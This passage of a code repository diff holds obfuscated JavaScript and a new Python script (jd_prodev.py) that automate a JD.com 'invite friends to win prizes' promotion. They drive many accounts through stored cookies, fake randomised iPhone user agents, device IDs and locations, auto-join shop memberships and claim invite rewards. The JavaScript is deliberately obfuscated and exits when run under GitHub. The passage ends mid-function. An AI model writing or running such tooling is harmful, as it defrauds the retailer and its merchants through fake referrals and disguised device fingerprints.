_0x2df18={'url':_0x56ae('‫1b4')+actCode+_0x56ae('‫de')+invitePin,'headers':{'Accept':_0x1cbd66[_0x56ae('‫1b5')],'Accept-Encoding':_0x1cbd66[_0x56ae('‮1b6')],'Accept-Language':_0x1cbd66[_0x56ae('‮1b7')],'Connection':_0x1cbd66[_0x56ae('‮1b8')],'Content-Type':_0x1cbd66[_0x56ae('‮1b9')],'Cookie':cookie,'Host':_0x1cbd66[_0x56ae('‫1ba')],'Origin':_0x1cbd66[_0x56ae('‫1bb')],'Referer':activityUrl,'request-from':_0x1cbd66[_0x56ae('‮1bc')],'User-Agent':_0x56ae('‮b8')+$[_0x56ae('‮48')]+_0x56ae('‫b9')+$[_0x56ae('‫45')]+_0x56ae('‮ba')}};$[_0x56ae('‮bb')](_0x2df18,(_0x21a1e2,_0x2d57c9,_0x16f288)=>{var _0x3178c2={'syexh':_0x553f33[_0x56ae('‫1bd')]};try{if(_0x553f33[_0x56ae('‮1be')](_0x553f33[_0x56ae('‫1bf')],_0x553f33[_0x56ae('‮1c0')])){console[_0x56ae('‮7')](_0x56ae('‮32'));}else{if(_0x21a1e2){if(_0x553f33[_0x56ae('‫1c1')](_0x553f33[_0x56ae('‮1c2')],_0x553f33[_0x56ae('‮1c2')])){console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](_0x21a1e2));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}else{console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](_0x21a1e2));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}}else{if(_0x553f33[_0x56ae('‮1be')](_0x553f33[_0x56ae('‮1c3')],_0x553f33[_0x56ae('‮1c3')])){if(_0x16f288){_0x16f288=JSON[_0x56ae('‫6e')](_0x16f288);console[_0x56ae('‮7')](_0x16f288);if(_0x16f288[_0x56ae('‮f1')]){if(_0x553f33[_0x56ae('‫1c4')](_0x553f33[_0x56ae('‮1c5')],_0x553f33[_0x56ae('‫1c6')])){$[_0x56ae('‮3c')]=![];return;}else{if(_0x553f33[_0x56ae('‫1c7')]($[_0x56ae('‮3a')],0x1)){$[_0x56ae('‮33')]+=0x1;}}}else if(_0x553f33[_0x56ae('‫1c4')](_0x16f288[_0x56ae('‮3e')],_0x553f33[_0x56ae('‫1c8')])){if(_0x553f33[_0x56ae('‫1c7')]($[_0x56ae('‮3a')],0x1)){$[_0x56ae('‮33')]+=0x1;}}else if(_0x553f33[_0x56ae('‫1c4')](_0x16f288[_0x56ae('‮f1')],![])){if(_0x553f33[_0x56ae('‫1c1')](_0x553f33[_0x56ae('‫1c9')],_0x553f33[_0x56ae('‫1ca')])){console[_0x56ae('‮7')](_0x16f288[_0x56ae('‮3e')]);$[_0x56ae('‮3e')]=_0x16f288[_0x56ae('‮3e')];}else{$[_0x56ae('‮33')]+=0x1;}}}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}else{_0x16f288=JSON[_0x56ae('‫6e')](_0x16f288);if(_0x16f288[_0x56ae('‮f1')]){$[_0x56ae('‫11e')]=_0x16f288[_0x56ae('‫f2')];console[_0x56ae('‮7')](_0x3178c2[_0x56ae('‮1cb')]);}}}}}catch(_0x5c5f4d){$[_0x56ae('‮61')](_0x5c5f4d,_0x2d57c9);}finally{if(_0x553f33[_0x56ae('‫1c1')](_0x553f33[_0x56ae('‫1cc')],_0x553f33[_0x56ae('‮1cd')])){_0x553f33[_0x56ae('‫1ce')](_0x88e250);}else{_0x553f33[_0x56ae('‫1cf')](_0x88e250);}}});});}function random(_0x2919ad,_0x23c0e8){var _0x131485={'tGuEl':function(_0x4586e4,_0x2d3896){return _0x4586e4(_0x2d3896);},'Xypsm':function(_0x18e404,_0x391532){return _0x18e404*_0x391532;},'nSyCR':function(_0x15ed70,_0x26603b){return _0x15ed70-_0x26603b;}};return _0x131485[_0x56ae('‮1d0')](parseInt,_0x131485[_0x56ae('‫1d1')](_0x131485[_0x56ae('‫1d2')](_0x23c0e8,_0x2919ad),Math[_0x56ae('‮f7')]()));}function TotalBean(){var _0x56e105={'YdHQA':function(_0x5686f0,_0x2fe57b){return _0x5686f0!==_0x2fe57b;},'UBbPf':_0x56ae('‮1d3'),'NErMH':_0x56ae('‮1d4'),'uzBXH':function(_0x45a3a7,_0x5b6b73){return _0x45a3a7===_0x5b6b73;},'DvFEd':_0x56ae('‫1d5'),'BDPVc':_0x56ae('‮1d6'),'nonCP':_0x56ae('‮f'),'wIaVY':_0x56ae('‮10'),'luchB':function(_0x31c1d7,_0x4d965c){return _0x31c1d7===_0x4d965c;},'VZEmp':_0x56ae('‫1d7'),'UQzWg':_0x56ae('‮1d8'),'oPgsy':function(_0x53537a){return _0x53537a();},'xaYop':_0x56ae('‫1d9'),'YuuyJ':_0x56ae('‫1da'),'MHSeC':_0x56ae('‮a0'),'kdRtK':_0x56ae('‮1db'),'kCYLK':_0x56ae('‮a2'),'LvzYP':_0x56ae('‫1dc'),'rVDEU':_0x56ae('‮1dd')};return new Promise(async _0x3fd631=>{var _0xedb598={'tDfKO':function(_0x3ad0f2,_0x2d751d){return _0x56e105[_0x56ae('‫1de')](_0x3ad0f2,_0x2d751d);},'VZlvf':_0x56e105[_0x56ae('‫1df')],'kPjaq':_0x56e105[_0x56ae('‮1e0')],'Cqczy':function(_0x59091e,_0x37ec95){return _0x56e105[_0x56ae('‫1e1')](_0x59091e,_0x37ec95);},'BHDJl':_0x56e105[_0x56ae('‮1e2')],'DtLtZ':_0x56e105[_0x56ae('‮1e3')],'YqnmM':_0x56e105[_0x56ae('‫1e4')],'vGvgW':_0x56e105[_0x56ae('‮1e5')],'sCZTa':function(_0x5022d8,_0x5dded7){return _0x56e105[_0x56ae('‫1e6')](_0x5022d8,_0x5dded7);},'LIpxY':_0x56e105[_0x56ae('‫1e7')],'VXbqD':_0x56e105[_0x56ae('‫1e8')],'uGgCj':function(_0x5cd79c){return _0x56e105[_0x56ae('‮1e9')](_0x5cd79c);}};const _0x2313bc={'url':_0x56ae('‫1ea'),'headers':{'Accept':_0x56e105[_0x56ae('‮1eb')],'Content-Type':_0x56e105[_0x56ae('‮1ec')],'Accept-Encoding':_0x56e105[_0x56ae('‫1ed')],'Accept-Language':_0x56e105[_0x56ae('‫1ee')],'Connection':_0x56e105[_0x56ae('‫1ef')],'Cookie':cookie,'Referer':_0x56e105[_0x56ae('‫1f0')],'User-Agent':_0x56e105[_0x56ae('‫1f1')]}};$[_0x56ae('‮1f2')](_0x2313bc,(_0x52677d,_0x182abb,_0x385347)=>{if(_0xedb598[_0x56ae('‮1f3')](_0xedb598[_0x56ae('‫1f4')],_0xedb598[_0x56ae('‮1f5')])){try{if(_0xedb598[_0x56ae('‮1f6')](_0xedb598[_0x56ae('‫1f7')],_0xedb598[_0x56ae('‫1f8')])){console[_0x56ae('‮7')](_0x385347);}else{if(_0x52677d){console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](_0x52677d));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}else{if(_0x385347){_0x385347=JSON[_0x56ae('‫6e')](_0x385347);if(_0xedb598[_0x56ae('‮1f6')](_0x385347[_0xedb598[_0x56ae('‫1f9')]],0xd)){$[_0x56ae('‮3c')]=![];return;}if(_0xedb598[_0x56ae('‮1f6')](_0x385347[_0xedb598[_0x56ae('‫1f9')]],0x0)){$[_0x56ae('‫3d')]=_0x385347[_0xedb598[_0x56ae('‫1fa')]]&&_0x385347[_0xedb598[_0x56ae('‫1fa')]][_0x56ae('‮72')]||$[_0x56ae('‮37')];}else{$[_0x56ae('‫3d')]=$[_0x56ae('‮37')];}}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}}}catch(_0x3d2caa){if(_0xedb598[_0x56ae('‫1fb')](_0xedb598[_0x56ae('‫1fc')],_0xedb598[_0x56ae('‮1fd')])){$[_0x56ae('‮61')](_0x3d2caa,_0x182abb);}else{$[_0x56ae('‮61')](_0x3d2caa,_0x182abb);}}finally{_0xedb598[_0x56ae('‫1fe')](_0x3fd631);}}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}});});}function getUUID(_0x9895bf=_0x56ae('‮15'),_0x3f69db=0x0){var _0x10141b={'ATpLH':function(_0x9895bf,_0x1d8932){return _0x9895bf|_0x1d8932;},'UqcvV':function(_0x9895bf,_0x42aed5){return _0x9895bf*_0x42aed5;},'oLnzr':function(_0x9895bf,_0x1d31cf){return _0x9895bf==_0x1d31cf;},'kCrJk':function(_0x9895bf,_0x397e4a){return _0x9895bf&_0x397e4a;}};return _0x9895bf[_0x56ae('‮1ff')](/[xy]/g,function(_0x9895bf){var _0x435d9f=_0x10141b[_0x56ae('‫200')](_0x10141b[_0x56ae('‫201')](0x10,Math[_0x56ae('‮f7')]()),0x0),_0x41f070=_0x10141b[_0x56ae('‫202')]('x',_0x9895bf)?_0x435d9f:_0x10141b[_0x56ae('‫200')](_0x10141b[_0x56ae('‫203')](0x3,_0x435d9f),0x8);return uuid=_0x3f69db?_0x41f070[_0x56ae('‫fa')](0x24)[_0x56ae('‫fb')]():_0x41f070[_0x56ae('‫fa')](0x24),uuid;});}function getShopOpenCardInfo(_0x5aa4d5,_0x5601d8){var _0x4ee94e={'fkKlU':function(_0x21875c,_0x212fb7){return _0x21875c+_0x212fb7;},'oYusY':_0x56ae('‮12c'),'QNody':function(_0x28ebf4){return _0x28ebf4();},'NQmXn':function(_0x582b1c,_0x5af663){return _0x582b1c!==_0x5af663;},'WOgsO':_0x56ae('‫204'),'SvUfT':_0x56ae('‫205'),'YzrJW':function(_0x3e34cd,_0x172441){return _0x3e34cd===_0x172441;},'HNILs':_0x56ae('‮206'),'FeOFh':function(_0x3f8240,_0x958cc4){return _0x3f8240!==_0x958cc4;},'LqCDn':_0x56ae('‫207'),'WvQEr':_0x56ae('‫208'),'aTIGj':_0x56ae('‮209'),'YCBqb':function(_0x580c06,_0x38c5dc){return _0x580c06(_0x38c5dc);},'Efeuc':_0x56ae('‮20a'),'xDAAV':_0x56ae('‮9f'),'fCmMX':_0x56ae('‮a2'),'UKpcT':_0x56ae('‮1db'),'rKaLs':_0x56ae('‮a0')};let _0x51c537={'url':_0x56ae('‮20b')+_0x4ee94e[_0x56ae('‮20c')](encodeURIComponent,JSON[_0x56ae('‫8a')](_0x5aa4d5))+_0x56ae('‮20d'),'headers':{'Host':_0x4ee94e[_0x56ae('‫20e')],'Accept':_0x4ee94e[_0x56ae('‮20f')],'Connection':_0x4ee94e[_0x56ae('‮210')],'Cookie':cookie,'User-Agent':_0x56ae('‮b8')+$[_0x56ae('‮48')]+_0x56ae('‫b9')+$[_0x56ae('‫45')]+_0x56ae('‮ba'),'Accept-Language':_0x4ee94e[_0x56ae('‮211')],'Referer':_0x56ae('‮212')+_0x5601d8+_0x56ae('‮213')+_0x4ee94e[_0x56ae('‮20c')](encodeURIComponent,$[_0x56ae('‫214')]),'Accept-Encoding':_0x4ee94e[_0x56ae('‫215')]}};return new Promise(_0x2e2423=>{var _0x180ea4={'AfyCm':function(_0xfd332a,_0x3704c4){return _0x4ee94e[_0x56ae('‮216')](_0xfd332a,_0x3704c4);},'fHZTR':_0x4ee94e[_0x56ae('‮217')],'FWfYv':function(_0x16b15c){return _0x4ee94e[_0x56ae('‫218')](_0x16b15c);},'NpNOV':function(_0x2674e5,_0x2065ce){return _0x4ee94e[_0x56ae('‫219')](_0x2674e5,_0x2065ce);},'SyuDu':_0x4ee94e[_0x56ae('‮21a')],'Nsynz':_0x4ee94e[_0x56ae('‮21b')],'lsyUp':function(_0x4a3bcf,_0x3ca05a){return _0x4ee94e[_0x56ae('‫21c')](_0x4a3bcf,_0x3ca05a);},'gXALa':_0x4ee94e[_0x56ae('‫21d')],'UgDmH':function(_0x56f99b,_0x5e3911){return _0x4ee94e[_0x56ae('‮21e')](_0x56f99b,_0x5e3911);},'qtzXD':_0x4ee94e[_0x56ae('‫21f')],'NOoEz':function(_0x1a10f9,_0x1ec72a){return _0x4ee94e[_0x56ae('‮216')](_0x1a10f9,_0x1ec72a);},'uMSBY':function(_0x41ee75,_0x4dfe0a){return _0x4ee94e[_0x56ae('‫21c')](_0x41ee75,_0x4dfe0a);},'abLDz':_0x4ee94e[_0x56ae('‮220')],'ibmBy':_0x4ee94e[_0x56ae('‫221')]};$[_0x56ae('‮bb')](_0x51c537,(_0x557fbc,_0x44b846,_0x230a0f)=>{var _0x808c8d={'hnGwJ':function(_0x35a20c){return _0x180ea4[_0x56ae('‫222')](_0x35a20c);}};if(_0x180ea4[_0x56ae('‫223')](_0x180ea4[_0x56ae('‮224')],_0x180ea4[_0x56ae('‫225')])){try{if(_0x557fbc){if(_0x180ea4[_0x56ae('‮226')](_0x180ea4[_0x56ae('‫227')],_0x180ea4[_0x56ae('‫227')])){console[_0x56ae('‮7')](_0x557fbc);}else{console[_0x56ae('‮7')](_0x180ea4[_0x56ae('‮228')](_0x180ea4[_0x56ae('‫229')],res[_0x56ae('‮17c')][_0x56ae('‮17d')][_0x56ae('‫76')]));$[_0x56ae('‫76')]=res[_0x56ae('‮17c')][_0x56ae('‮17d')][_0x56ae('‫76')];if(res[_0x56ae('‮17c')][_0x56ae('‫17e')]){$[_0x56ae('‫17f')]=res[_0x56ae('‮17c')][_0x56ae('‫17e')][0x0][_0x56ae('‫180')][_0x56ae('‮181')];}}}else{if(_0x180ea4[_0x56ae('‫22a')](_0x180ea4[_0x56ae('‫22b')],_0x180ea4[_0x56ae('‫22b')])){console[_0x56ae('‮7')](_0x56ae('‮32'));}else{res=JSON[_0x56ae('‫6e')](_0x230a0f);if(res[_0x56ae('‮f1')]){console[_0x56ae('‮7')](_0x180ea4[_0x56ae('‮22c')](_0x180ea4[_0x56ae('‫229')],res[_0x56ae('‮17c')][_0x56ae('‮17d')][_0x56ae('‫76')]));$[_0x56ae('‫76')]=res[_0x56ae('‮17c')][_0x56ae('‮17d')][_0x56ae('‫76')];if(res[_0x56ae('‮17c')][_0x56ae('‫17e')]){if(_0x180ea4[_0x56ae('‮22d')](_0x180ea4[_0x56ae('‮22e')],_0x180ea4[_0x56ae('‫22f')])){console[_0x56ae('‮7')](_0x56ae('‮32'));}else{$[_0x56ae('‫17f')]=res[_0x56ae('‮17c')][_0x56ae('‫17e')][0x0][_0x56ae('‫180')][_0x56ae('‮181')];}}}}}}catch(_0x35a394){console[_0x56ae('‮7')](_0x35a394);}finally{_0x180ea4[_0x56ae('‫222')](_0x2e2423);}}else{_0x808c8d[_0x56ae('‮230')](_0x2e2423);}});});};_0xod4='jsjiami.com.v6'; + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_prodev.py b/jd_prodev.py new file mode 100644 index 0000000..5660aee --- /dev/null +++ b/jd_prodev.py @@ -0,0 +1,333 @@ +# 邀好友赢大礼 create by doubi 通用模板 +# 17:/椋东送福利,邀请好友,争排行榜排位,大礼送不停,(E1Y7RAtC4b) ,升级新版猄·=·Dσσōngαpρ +# https://prodev.m.jd.com/mall/active/dVF7gQUVKyUcuSsVhuya5d2XD4F/index.html?code=7cfd02e34d6d41028286d6a95cdeea7e&invitePin=jd_5a2bee883014b +# 注意事项 pin 为助力pin 必须保证ck在里面 +# by 逗比 https://t.me/jdsign2 + +import json +import requests,random,time,asyncio,re,os +from urllib.parse import quote_plus,unquote_plus +from functools import partial +print = partial(print, flush=True) + +activatyname = '邀请赢大礼' +activityId = 'dVF7gQUVKyUcuSsVhuya5d2XD4F' # 活动类型 +authorCode = os.environ["prodev"] # 活动id +invitePin = os.environ["invitePin"] # pin 填写cookie后面的pin +activityUrl = f'https://prodev.m.jd.com/mall/active/{activityId}/index.html?code={authorCode}&invitePin={invitePin}' + +# 随机ua +def randomuserAgent(): + global uuid, addressid, iosVer, iosV, clientVersion, iPhone, area, ADID, lng, lat + uuid = ''.join(random.sample( + ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1", "14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion = ''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + area = ''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join( + random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + lng = '119.31991256596' + str(random.randint(100, 999)) + lat = '26.1187118976' + str(random.randint(100, 999)) + UserAgent = '' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +# 检测ck状态 +async def check(ua, ck): + try: + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion' + header = { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": ck, + "User-Agent": ua, + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate", + } + result = requests.get(url=url, headers=header, timeout=2).text + codestate = json.loads(result) + if codestate['retcode'] == '1001': + msg = "当前ck已失效,请检查" + return {'code': 1001, 'data': msg} + elif codestate['retcode'] == '0' and 'userInfo' in codestate['data']: + nickName = codestate['data']['userInfo']['baseInfo']['nickname'] + return {'code': 200, 'name': nickName, 'ck': ck} + except Exception as e: + return {'code': 0, 'data': e} + +# 获取当前时间 +def get_time(): + time_now = round(time.time()*1000) + return time_now + +# 登录plogin +async def plogin(ua,cookie): + now = get_time() + url = f'https://plogin.m.jd.com/cgi-bin/ml/islogin?time={now}&callback=__jsonp{now-2}&_={now+2}' + header = { + 'Accept':'*/*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + 'Connection': 'keep-alive', + 'Cookie': cookie, + 'Host': 'plogin.m.jd.com', + 'Referer': 'https://prodev.m.jd.com/', + 'User-Agent':ua + } + response = requests.get(url=url,headers=header,timeout=5).text + return response + +# 活动接口 +async def jdjoy(ua,cookie): + + url = f'https://jdjoy.jd.com/member/bring/getActivityPage?code={authorCode}&invitePin={invitePin}&_t={get_time()}' + header = { + 'Accept':'*/*', + 'Accept-Encoding':'gzip, deflate', + 'Accept-Language':'zh-Hans-US;q=1,en-US;q=0.9', + 'Connection':'keep-alive', + 'Content-Type':'application/json', + 'Cookie':cookie, + "Host":'jdjoy.jd.com', + 'Origin':'https://prodev.m.jd.com', + "Referer":'https://prodev.m.jd.com/', + 'User-Agent':ua + } + response = requests.get(url=url,headers=header).text + return json.loads(response) + +# go开卡 +async def ruhui(ua,cookie): + url = f'https://jdjoy.jd.com/member/bring/joinMember?code={authorCode}&invitePin={invitePin}' + header = { + 'Host': 'jdjoy.jd.com', + 'Content-Type': 'application/json', + 'Origin': 'https://prodev.m.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': ua, + 'Referer': activityUrl, + 'Accept-Language': 'zh-cn', + 'request-from': 'native' + } + response = requests.get(url=url,headers=header).text + return json.loads(response) + +# 检查开卡状态 +async def check_ruhui(body,cookie,venderId,ua): + url = f'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body={json.dumps(body)}&client=H5&clientVersion=9.2.0&uuid=88888' + headers = { + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Cookie': cookie, + 'User-Agent': ua, + 'Accept-Language': 'zh-cn', + 'Referer': f'https://shopmember.m.jd.com/shopcard/?venderId={venderId}&channel=801&returnUrl={json.dumps(activityUrl)}', + 'Accept-Encoding': 'gzip, deflate' + } + response = requests.get(url=url,headers=headers,timeout=5).text + return json.loads(response) + +# 领取奖励 +async def getInviteReward(cookie,ua,number): + url = f'https://jdjoy.jd.com/member/bring/getInviteReward?code={authorCode}&stage={number}' + header = { + 'Accept':'*/*', + 'Accept-Encoding':'gzip, deflate', + 'Accept-Language':'zh-Hans-US;q=1,en-US;q=0.9', + 'Connection':'keep-alive', + 'Content-Type':'application/json', + 'Cookie':cookie, + "Host":'jdjoy.jd.com', + 